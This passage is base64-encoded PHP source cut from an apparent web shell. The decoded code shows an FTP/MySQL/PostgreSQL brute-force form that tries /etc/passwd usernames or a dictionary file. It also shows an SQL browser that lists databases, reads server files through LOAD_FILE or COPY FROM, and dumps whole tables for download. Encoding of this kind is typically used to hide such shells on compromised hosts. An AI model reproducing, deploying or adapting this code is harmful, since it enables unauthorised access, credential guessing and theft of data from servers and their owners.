CAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLic8YnI%2BJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8c3Bhbj5BdHRlbXB0czo8L3NwYW4%2BICRhdHRlbXB0cyA8c3Bhbj5TdWNjZXNzOjwvc3Bhbj4gJHN1Y2Nlc3M8L2Rpdj48YnI%2BIjsNCiAgICB9DQogICAgZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ%2BPHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ%2BPHNwYW4%2BVHlwZTwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ%2BPGxhYmVsPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24%2BPG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24%2BPC9zZWxlY3Q%2BPC9sYWJlbD48L3RkPjwvdHI%2BPHRyPjx0ZD4nDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI%2BJw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI%2BJw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI%2BJw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lICB2YWx1ZT0iIj4nDQogICAgICAgIC4nPHNwYW4%2BU2VydmVyOnBvcnQ8L3NwYW4%2BPC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI%2BPC90ZD48L3RyPicNCiAgICAgICAgLic8dHI%2BPHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4%2BPC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L3RkPjwvdHI%2BJw0KICAgICAgICAuJzx0cj48dGQ%2BPC90ZD48dGQgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L3RkPjwvdHI%2BJw0KICAgICAgICAuJzx0cj48dGQ%2BPC90ZD48dGQ%2BPGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvdGQ%2BPC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI%2BPHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ%2BJw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ%2BPC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ%2BJw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ%2BPC90cj48L3RhYmxlPicNCiAgICAgICAgLic8L3RkPjwvdHI%2BPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI%2BPC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7DQogICAgZWNobyAnPC9kaXY%2BJzsNCiAgICBoYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25TcWwoKSB7DQogICAgY2xhc3MgRGJDbGFzcyB7DQogICAgICAgIHZhciAkdHlwZTsNCiAgICAgICAgdmFyICRsaW5rOw0KICAgICAgICB2YXIgJHJlczsNCiAgICAgICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHR5cGUpIHsNCiAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0%2BdHlwZSkgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0%2BcmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0%2BcmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBmZXRjaCgpIHsNCiAgICAgICAgICAgICRyZXMgPSBmdW5jX251bV9hcmdzKCk%2FZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gbGlzdERicygpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0%2BdHlwZSkgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0%2BcXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBsaXN0VGFibGVzKCkgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0%2BcmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gZXJyb3IoKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0%2BbGluaywgJHN0cik7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0%2BdHlwZSkgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0%2BcXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIGhhcmQyKGZpbGUgdGV4dCk7Q09QWSBoYXJkMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSBoYXJkMjsiKTsNCiAgICAgICAgICAgICAgICAgICAgJHI9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpDQogICAgICAgICAgICAgICAgICAgICAgICAkcltdID0gJGlbJ2ZpbGUnXTsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIGhhcmQyJyk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0%2BcXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQogICAgICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgk4pafID0gJHRoaXMtPmZldGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICUgMTAwMCA9PSAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiO1xuXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgk4pafIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfaW50KCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCTilp8gPSAkdGhpcy0%2BZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgk4pafIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJOKWnykuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9Ow0KICAgICRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCiAgICBpZigoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgJiYgKEAkX1BPU1RbJ3AxJ10hPSdzZWxlY3QnKSkgew0KICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgICRkYi0%2Bc2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0%2Bc2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0%2Bc2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0%2BZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ%2BJyk7DQogICAgfQ0KICAgIGhhcmRIZWFkZXIoKTsNCiAgICBlY2hvICINCjxoMT5TcWwgYnJvd3NlcjwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50Pg0KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpOyc%2BPHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc%2BPHRyPg0KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48dGQ%2BTG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ%2BPHRkPkRhdGFiYXNlPC90ZD48dGQ%2BPC90ZD48L3RyPjx0cj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc%2BPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc%2BPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic%2BDQo8dGQ%2BPGxhYmVsPjxzZWxlY3QgbmFtZT0ndHlwZSc%2BPG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24%2BPC9zZWxlY3Q%2BPC9sYWJlbD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiJcIj48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfbG9naW4gdmFsdWU9XCIiLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk%2FJ3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iXCI%2BPC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9XCIiLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iXCIgcmVxdWlyZWQ%2BPC90ZD48dGQ%2BIjsNCiAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KICAgICAgICBpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0%2Bc2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0%2Bc2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0%2Bc2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsNCiAgICAgICAgICAgIGVjaG8gIjxsYWJlbD48c2VsZWN0IG5hbWU9c3FsX2Jhc2U%2BPG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KICAgICAgICAgICAgd2hpbGUoJOKWnyA9ICRkYi0%2BZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJOKWnyk7DQogICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10%2FJ3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24%2BJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzwvc2VsZWN0PjwvbGFiZWw%2BJzsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlIGVjaG8gJHRtcDsNCiAgICB9ZWxzZQ0KICAgICAgICBlY2hvICR0bXA7DQogICAgZWNobyAiPC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnIG9uY2xpY2s9J2ZzKGQuc2YpOyc%2BPC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ%2BPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk%2FJyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPg0KICAgICAg